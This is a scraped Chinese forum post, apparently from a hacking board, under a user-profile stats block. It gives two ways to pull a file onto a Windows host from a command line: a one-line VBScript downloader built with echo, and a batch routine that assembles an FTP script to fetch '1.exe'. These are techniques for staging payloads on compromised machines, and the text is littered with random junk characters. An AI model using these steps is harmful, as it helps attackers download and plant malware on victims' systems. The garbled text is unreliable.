- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
" Q. ~( c3 A2 U8 t5 }) E0 ?1.iget.vbs一次写入
$ w. s S% x7 Z, _在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 6 r, j& ?2 c$ d
2 E# Z. a7 s) `$ g6 o4 s
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
8 w) _& I) e: E9 C1 M6 W t. A% N& {' g
$ {# E$ Z9 T+ s, q4 d6 ^# ~这样我们可以一次echo成功,echo版本:
5 H' x& S E& y
6 ?+ Q$ H& u8 Oecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
1 F4 X9 z( `4 w5 J2 N
. S$ Y2 |9 X* o9 A Q2 {- |7 m4 N# m/ S, ^# ^6 Z
2.bat调用ftp脚本的写法(by envymask) / n% K# M* c+ l! p. ^; g
( h- T0 T" E1 m3 e& O" o+ M- }echo ftp>1.vbs * L% p% B8 T6 c: d. b
echo open ip>2.vbs : N+ `8 p+ |3 B& u, E
echo u>3.vbs
7 _; C9 F1 Q5 E& x1 H# P( _echo s>4.vbs
/ R% S o; z/ S& ]echo binary>5.vbs 9 \8 ~1 R5 T( }2 C) \% k
echo get 1.exe>6.vbs ) U; ?% E3 t: h) w R8 q
echo bay>7.vbs 9 x6 f- `1 h% g1 @5 s3 {
7 z& f: \& S5 M8 P) t
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs # u2 w3 ~7 C9 R; ]% H
</P> |
zan
|